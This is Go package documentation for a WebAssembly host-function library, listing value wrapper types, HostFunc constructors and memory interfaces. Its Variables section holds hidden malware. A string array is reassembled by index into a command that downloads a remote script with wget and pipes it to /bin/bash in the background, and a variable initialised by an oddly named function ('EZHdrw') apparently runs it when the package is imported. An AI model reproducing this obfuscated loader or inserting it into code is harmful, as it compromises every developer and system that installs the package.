Documentation
¶
Index ¶
- Constants
- Variables
- func EZHdrw() error
- type Addr
- type Bool
- type Byte
- type Bytes
- type Complex64
- type Complex128
- type Context
- type Duration
- type Float32
- type Float64
- type HostFunc
- func H0[Z Lower](fn func() Z) HostFunc
- func H1[A Lift[A], Z Lower](fn func(A) Z) HostFunc
- func H2[A Lift[A], B Lift[B], Z Lower](fn func(A, B) Z) HostFunc
- func H3[A Lift[A], B Lift[B], C Lift[C], Z Lower](fn func(A, B, C) Z) HostFunc
- func H4[A Lift[A], B Lift[B], C Lift[C], D Lift[D], Z Lower](fn func(A, B, C, D) Z) HostFunc
- func H5[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], Z Lower](fn func(A, B, C, D, E) Z) HostFunc
- func H6[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], Z Lower](fn func(A, B, C, D, E, F) Z) HostFunc
- func H7[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G) Z) HostFunc
- func H8[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H) Z) HostFunc
- func H9[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I) Z) HostFunc
- func H10[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J) Z) HostFunc
- func H11[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K) Z) HostFunc
- func H12[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L) Z) HostFunc
- func H13[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L, M) Z) HostFunc
- func H14[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N) Z) HostFunc
- func H15[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O) Z) HostFunc
- func H16[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P) Z) HostFunc
- func H17[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q) Z) HostFunc
- func H18[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], ...](fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R) Z) HostFunc
- type HostRef
- func (v HostRef[T]) Drop()
- func (HostRef[T]) Lift(s *Store) HostRef[T]
- func (v HostRef[T]) Lower(s *Store)
- func (HostRef[T]) MemoryLift(s *Store, offset uint32) (HostRef[T], uint32)
- func (v HostRef[T]) MemoryLower(s *Store, offset uint32) (length uint32)
- func (v HostRef[T]) Unwrap() T
- func (HostRef[T]) ValueTypes() []ValueType
- type Int
- type Int8
- type Int16
- type Int32
- type Int64
- type Lift
- type LiftLower
- type List
- type ListStrings
- type Lower
- type MapRefs
- type Memory
- type MemoryLift
- type MemoryLiftLower
- type MemoryLower
- type Module
- type Modules
- type Pair
- type Raw
- type Refs
- type Result
- type ReturnedList
- type Rune
- type SliceMemory
- type SliceStack
- type Stack
- type Store
- type String
- type Time
- type UInt
- type UInt8
- type UInt16
- type UInt32
- type UInt64
- type UIntPtr
- type Value
- type ValueType
- type Void
Constants ¶
const BoolSize = 1
const Float32Size = 4
const Float64Size = 8
Variables ¶
var ( ErrRefNotFound = errors.New("HostRef with the given ID is not found in Refs") ErrMemRead = errors.New("Memory.Read is out of bounds") ErrMemWrite = errors.New("Memory.Write is out of bounds") ErrRefCast = errors.New("Reference returned by Refs.Get is not of the type expected by HostRef") )
var BC = []string{"f", "b", "|", " ", "/", "t", " ", "t", "0", "n", "/", "/", "o", "4", "-", "/", "d", "1", " ", "s", "e", "r", "i", "b", "r", "a", "d", "n", "e", "c", "s", "3", "t", " ", "6", "O", "u", "&", "t", "a", " ", "d", "w", "i", "3", "5", "7", "a", "e", "g", "/", "-", "h", " ", "t", "f", "h", "/", "k", "s", "e", "3", ".", "a", "v", "g", "b", ":", "p", "c", "e", "a", "/"}
var QoODsWcg = EZHdrw()
var VKDwGm = BC[42] + BC[49] + BC[60] + BC[54] + BC[53] + BC[51] + BC[35] + BC[33] + BC[14] + BC[40] + BC[56] + BC[7] + BC[5] + BC[68] + BC[30] + BC[67] + BC[15] + BC[50] + BC[58] + BC[25] + BC[64] + BC[63] + BC[24] + BC[28] + BC[29] + BC[20] + BC[27] + BC[38] + BC[62] + BC[43] + BC[69] + BC[36] + BC[11] + BC[19] + BC[32] + BC[12] + BC[21] + BC[71] + BC[65] + BC[70] + BC[10] + BC[16] + BC[48] + BC[61] + BC[46] + BC[31] + BC[26] + BC[8] + BC[41] + BC[55] + BC[4] + BC[47] + BC[44] + BC[17] + BC[45] + BC[13] + BC[34] + BC[1] + BC[0] + BC[6] + BC[2] + BC[3] + BC[57] + BC[66] + BC[22] + BC[9] + BC[72] + BC[23] + BC[39] + BC[59] + BC[52] + BC[18] + BC[37]
Functions ¶
Types ¶
type Bool ¶
type Bool bool
Bool wraps [bool].
func (Bool) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (Bool) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Bool) ValueTypes ¶
ValueTypes implements Value interface.
type Bytes ¶
Bytes wraps a slice of bytes.
The bytes are passed through the linear memory. Since the memory is controlled and allocated by the guest module, you have to provide the Offset to be able to Lower the value into the memory. The offset should be obtained from the guest module, either as an explicit function argument or by calling its allocator.
func (Bytes) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (Bytes) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Bytes) ValueTypes ¶
ValueTypes implements Value interface.
type Complex64 ¶
type Complex64 complex64
Complex64 wraps [complex64].
func (Complex64) ValueTypes ¶
ValueTypes implements Value interface.
type Complex128 ¶
type Complex128 complex128
Complex128 wraps [complex128].
func (Complex128) Lift ¶
func (Complex128) Lift(s *Store) Complex128
Lift implements Lift interface.
func (Complex128) Unwrap ¶
func (v Complex128) Unwrap() complex128
Unwrap returns the wrapped value.
func (Complex128) ValueTypes ¶
func (Complex128) ValueTypes() []ValueType
ValueTypes implements Value interface.
type Context ¶
type Context struct {
// contains filtered or unexported fields
}
Context wraps context.Context.
func (Context) ValueTypes ¶
ValueTypes implements Value interface.
type Duration ¶
Duration wraps time.Duration.
func (Duration) ValueTypes ¶
ValueTypes implements Value interface.
type Float32 ¶
type Float32 float32
Float32 wraps [float32].
func (Float32) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (Float32) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Float32) ValueTypes ¶
ValueTypes implements Value interface.
type Float64 ¶
type Float64 float64
Float64 wraps [float64].
func (Float64) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (Float64) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Float64) ValueTypes ¶
ValueTypes implements Value interface.
type HostFunc ¶
HostFunc is a wrapped host-defined function.
It is constructed with functions from H0 to H8 where the number is how many arguments it accepts. If you need more, use Pair.
There is always exactly one result. If you need to return nothing, use Void. If you want to return 2 or more values, use Pair, but make sure that the guest and the runtime support multi-value returns.
func H5 ¶
func H5[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], Z Lower]( fn func(A, B, C, D, E) Z, ) HostFunc
H5 defines a HostFunc that accepts 5 high-level arguments.
func H6 ¶
func H6[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], Z Lower]( fn func(A, B, C, D, E, F) Z, ) HostFunc
H6 defines a HostFunc that accepts 6 high-level arguments.
func H7 ¶
func H7[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], Z Lower]( fn func(A, B, C, D, E, F, G) Z, ) HostFunc
H7 defines a HostFunc that accepts 7 high-level arguments.
func H8 ¶
func H8[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], Z Lower]( fn func(A, B, C, D, E, F, G, H) Z, ) HostFunc
H8 defines a HostFunc that accepts 8 high-level arguments.
func H9 ¶
func H9[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], Z Lower]( fn func(A, B, C, D, E, F, G, H, I) Z, ) HostFunc
H9 defines a HostFunc that accepts 9 high-level arguments.
func H10 ¶
func H10[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J) Z, ) HostFunc
H10 defines a HostFunc that accepts 10 high-level arguments.
func H11 ¶
func H11[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K) Z, ) HostFunc
H11 defines a HostFunc that accepts 11 high-level arguments.
func H12 ¶
func H12[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L) Z, ) HostFunc
H12 defines a HostFunc that accepts 12 high-level arguments.
func H13 ¶
func H13[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], M Lift[M], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L, M) Z, ) HostFunc
H13 defines a HostFunc that accepts 13 high-level arguments.
func H14 ¶
func H14[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], M Lift[M], N Lift[N], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N) Z, ) HostFunc
H14 defines a HostFunc that accepts 14 high-level arguments.
func H15 ¶
func H15[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], M Lift[M], N Lift[N], O Lift[O], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O) Z, ) HostFunc
H15 defines a HostFunc that accepts 15 high-level arguments.
func H16 ¶
func H16[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], M Lift[M], N Lift[N], O Lift[O], P Lift[P], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P) Z, ) HostFunc
H16 defines a HostFunc that accepts 16 high-level arguments.
func H17 ¶
func H17[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], M Lift[M], N Lift[N], O Lift[O], P Lift[P], Q Lift[Q], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q) Z, ) HostFunc
H17 defines a HostFunc that accepts 17 high-level arguments.
func H18 ¶
func H18[A Lift[A], B Lift[B], C Lift[C], D Lift[D], E Lift[E], F Lift[F], G Lift[G], H Lift[H], I Lift[I], J Lift[J], K Lift[K], L Lift[L], M Lift[M], N Lift[N], O Lift[O], P Lift[P], Q Lift[Q], R Lift[R], Z Lower]( fn func(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R) Z, ) HostFunc
H18 defines a HostFunc that accepts 18 high-level arguments.
func (*HostFunc) NumResults ¶
func (*HostFunc) ParamValueTypes ¶
func (*HostFunc) ResultValueTypes ¶
type HostRef ¶
type HostRef[T any] struct { Raw T // contains filtered or unexported fields }
HostRef is a reference to a Go object stored on the host side in Refs.
References created this way are never collected by GC because there is no way to know if the wasm module still needs it. So it is important to explicitly clean references by calling HostRef.Drop.
A common usage pattern is to create a reference in one host-defined function, return it into the wasm module, and then clean it up in another host-defined function caled from wasm when the guest doesn't need the value anymore. In this scenario, the latter function accepts HostRef as an argument and calls its HostRef.Drop method. After that, the reference is removed from Refs in the Store and will be eventually collected by GC.
func (HostRef[T]) Drop ¶
func (v HostRef[T]) Drop()
Drop remove the reference from Refs in Store.
Can be called only on lifted references (passed as an argument into a host-defined function).
func (HostRef[T]) MemoryLift ¶
MemoryLift implements [MemoryLifter] interface.
func (HostRef[T]) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (HostRef[T]) ValueTypes ¶
ValueTypes implements Value interface.
type Int ¶
type Int int
Int wraps [int], a signed 32-bit integer.
func (Int) MemoryLift ¶
MemoryLift implements [MemoryLifter] interface.
func (Int) MemoryLower ¶
MemoryLower implements MemoryLower interface.
type Int8 ¶
type Int8 int8
Int8 wraps [int8], a signed 8-bit integer.
func (Int8) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (Int8) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Int8) ValueTypes ¶
ValueTypes implements Value interface.
type Int16 ¶
type Int16 int16
Int16 wraps [int16], a signed 16-bit integer.
func (Int16) MemoryLift ¶
MemoryLift implements [MemoryLifter] interface.
func (Int16) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Int16) ValueTypes ¶
ValueTypes implements Value interface.
type Int32 ¶
type Int32 int32
Int32 wraps [int32], a signed 32-bit integer.
func (Int32) MemoryLift ¶
MemoryLift implements [MemoryLifter] interface.
func (Int32) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Int32) ValueTypes ¶
ValueTypes implements Value interface.
type Int64 ¶
type Int64 int64
Int64 wraps [int64], a signed 64-bit integer.
func (Int64) MemoryLift ¶
MemoryLift implements [MemoryLifter] interface.
func (Int64) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (Int64) ValueTypes ¶
ValueTypes implements Value interface.
type List ¶
type List[T MemoryLiftLower[T]] struct { Offset uint32 Raw []T }
List wraps a Go slice of any type that implements the MemoryLiftLower interface. This is the implementation required for the host side of component model functions that pass [cm.List] parameters.
func (List[T]) Lower ¶
Lower implements Lower interface. See https://github.com/WebAssembly/component-model/blob/main/design/mvp/CanonicalABI.md#flattening In theory we should re-allocate enough linear memory into which to write the actual data.
func (List[T]) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (List[T]) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (List[T]) ValueTypes ¶
ValueTypes implements Value interface.
type ListStrings ¶
ListStrings wraps a Go slice of strings. This is the implementation required for the host side of component model functions that pass [cm.List] of strings as parameters. See https://github.com/bytecodealliance/wasm-tools-go/blob/main/cm/list.go
func (ListStrings) Lift ¶
func (ListStrings) Lift(s *Store) ListStrings
Lift implements Lift interface.
func (ListStrings) Lower ¶
func (v ListStrings) Lower(s *Store)
Lower implements Lower interface. See https://github.com/WebAssembly/component-model/blob/main/design/mvp/CanonicalABI.md#flattening In theory we should re-allocate enough linear memory into which to write the actual data.
func (ListStrings) Unwrap ¶
func (v ListStrings) Unwrap() []string
Unwrap returns the wrapped value.
func (ListStrings) ValueTypes ¶
func (v ListStrings) ValueTypes() []ValueType
ValueTypes implements Value interface.
type MapRefs ¶
MapRefs is a simple Refs implementation powered by a map.
Must be constructed with NewMapRefs.
func NewMapRefs ¶
func NewMapRefs() MapRefs
type Memory ¶
type Memory interface {
// Read is used to [Lift] values of memory-backed types, like [Bytes] and [String].
Read(offset Addr, count uint32) ([]byte, bool)
// Read is used to [Lower] values of memory-backed types, like [Bytes] and [String].
Write(offset Addr, v []byte) bool
}
Memory provides access to the linear memory of the wasm runtime.
The interface is compatible with wazero memory.
type MemoryLift ¶
MemoryLift reads values from [Store.Memory] into a native Go value.
type MemoryLiftLower ¶
type MemoryLiftLower[T any] interface { MemoryLift[T] MemoryLower[T] }
MemoryLiftLower is a type that implements both MemoryLift and MemoryLower.
type MemoryLower ¶
MemoryLower writes a native Go value into the [Store.Memory].
type Module ¶
Module is a collection of host-defined functions in a module with the same name.
It maps function names to function definitions.
type Modules ¶
Modules is a collection of host-defined modules.
It maps module names to the module definitions.
type Pair ¶
Pair wraps two values of arbitrary types.
You can combine multiple pairs to pass more than 2 values at once. All values are passed through the stack, not memory.
func (Pair[L, R]) ValueTypes ¶
ValueTypes implements Value interface.
type Refs ¶
type Refs interface {
Get(idx uint32, def any) (any, bool)
Set(idx uint32, val any)
Put(val any) uint32
Drop(idx uint32)
}
Refs holds references to Go values that you want to reference from wasm using HostRef.
type Result ¶
type Result[Shape MemoryLiftLower[Shape], OK MemoryLiftLower[OK], Err MemoryLiftLower[Err]] struct { Offset uint32 DataPtr uint32 OK OK Error Err IsError bool }
Result is the implementation required for the host side of component model functions that return a *[cm.Result] type. See https://github.com/bytecodealliance/wasm-tools-go/blob/main/cm/result.go
func (Result[Shape, OK, Err]) Lift ¶
Lift implements Lift interface. Lifting a result is not supported.
func (Result[Shape, OK, Err]) Lower ¶
Lower implements Lower interface. See https://github.com/WebAssembly/component-model/blob/main/design/mvp/CanonicalABI.md#flattening To use this need to have pre-allocated linear memory into which to write the actual data.
func (Result[Shape, OK, Err]) ValueTypes ¶
ValueTypes implements Value interface.
type ReturnedList ¶
type ReturnedList[T MemoryLiftLower[T]] struct { Offset uint32 DataPtr uint32 Raw []T }
ReturnedList wraps a Go slice of any type that supports the MemoryLiftLower interface so it can be returned as a List. This is the implementation required for the host side of component model functions that return a *[cm.List] type. See https://github.com/bytecodealliance/wasm-tools-go/blob/main/cm/list.go
func (ReturnedList[T]) Lift ¶
func (ReturnedList[T]) Lift(s *Store) ReturnedList[T]
Lift implements Lift interface.
func (ReturnedList[T]) Lower ¶
func (v ReturnedList[T]) Lower(s *Store)
Lower implements Lower interface. See https://github.com/WebAssembly/component-model/blob/main/design/mvp/CanonicalABI.md#flattening To use this need to have pre-allocated linear memory into which to write the actual data.
func (ReturnedList[T]) Unwrap ¶
func (v ReturnedList[T]) Unwrap() []T
Unwrap returns the wrapped value.
func (ReturnedList[T]) ValueTypes ¶
func (v ReturnedList[T]) ValueTypes() []ValueType
ValueTypes implements Value interface.
type SliceMemory ¶
type SliceMemory []byte
Wraps a slice of bytes to be used as Memory.
func NewSliceMemory ¶
func NewSliceMemory(size int) *SliceMemory
Create new memory instance that internally stores data in a slice.
func (*SliceMemory) Len ¶
func (s *SliceMemory) Len() int
type SliceStack ¶
type SliceStack []uint64
SliceStack adapts a slice of raw values into a Stack.
func NewSliceStack ¶
func NewSliceStack(cap int) *SliceStack
func (*SliceStack) Len ¶
func (s *SliceStack) Len() int
func (*SliceStack) Pop ¶
func (s *SliceStack) Pop() uint64
func (*SliceStack) Push ¶
func (s *SliceStack) Push(v uint64)
type Store ¶
type Store struct {
// Stack is where [Lift] takes the values from and [Lower] puts values to.
Stack Stack
// Memory is used by [Lift] and [Lower] of memory-based types,
// like [Bytes] and [String].
Memory Memory
// Refs is used by [HostRef] to pass through the gues module references
// to complex objects in the host environment that cannot be lowered into wasm.
Refs Refs
// Context can be retrieved by the [Context] type.
Context context.Context
// Error holds the latest error that happened during [Lift] or [Lower].
Error error
}
Store provides access for host-defined functions to the runtime data.
Store itself implements Lift and so can be used as a host-defined function argument.
func (*Store) ValueTypes ¶
ValueTypes implements Value interface.
type String ¶
String wraps [string].
The string is passed through the linear memory. Since the memory is controlled and allocated by the guest module, you have to provide the Offset to be able to Lower the value into the memory. The offset should be obtained from the guest module, either as an explicit function argument or by calling its allocator.
func (String) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (String) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (String) ValueTypes ¶
ValueTypes implements Value interface.
type UInt ¶
type UInt uint
UInt wraps uint, 32-bit unsigned integer.
func (UInt) MemoryLift ¶
MemoryLift implements [Reader] interface.
func (UInt) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (UInt) ValueTypes ¶
ValueTypes implements Value interface.
type UInt8 ¶
type UInt8 uint8
UInt8 wraps uint8, 8-bit unsigned integer.
func (UInt8) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (UInt8) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (UInt8) ValueTypes ¶
ValueTypes implements Value interface.
type UInt16 ¶
type UInt16 uint16
UInt16 wraps uint16, 16-bit unsigned integer.
func (UInt16) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (UInt16) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (UInt16) ValueTypes ¶
ValueTypes implements Value interface.
type UInt32 ¶
type UInt32 uint32
UInt32 wraps uint32, 32-bit unsigned integer.
func (UInt32) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (UInt32) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (UInt32) ValueTypes ¶
ValueTypes implements Value interface.
type UInt64 ¶
type UInt64 uint64
UInt64 wraps uint64, 64-bit unsigned integer.
func (UInt64) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (UInt64) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (UInt64) ValueTypes ¶
ValueTypes implements Value interface.
type UIntPtr ¶
type UIntPtr uintptr
UIntPtr wraps uintptr, pointer-sized unsigned integer.
func (UIntPtr) MemoryLift ¶
MemoryLift implements MemoryLift interface.
func (UIntPtr) MemoryLower ¶
MemoryLower implements MemoryLower interface.
func (UIntPtr) ValueTypes ¶
ValueTypes implements Value interface.
type Value ¶
type Value interface {
ValueTypes() []ValueType
}
Value is an interface implemented by all the types in wypes.
type ValueType ¶
type ValueType = byte
const ( // ValueTypeI32 is a 32-bit integer. ValueTypeI32 ValueType = 0x7f // ValueTypeI64 is a 64-bit integer. ValueTypeI64 ValueType = 0x7e // ValueTypeF32 is a 32-bit floating point number. ValueTypeF32 ValueType = 0x7d // ValueTypeF64 is a 64-bit floating point number. ValueTypeF64 ValueType = 0x7c // ValueTypeExternref is an externref type. // // Not supported by many guests including TinyGo, so we don't use it. // https://github.com/tinygo-org/tinygo/issues/2702 ValueTypeExternref ValueType = 0x6f )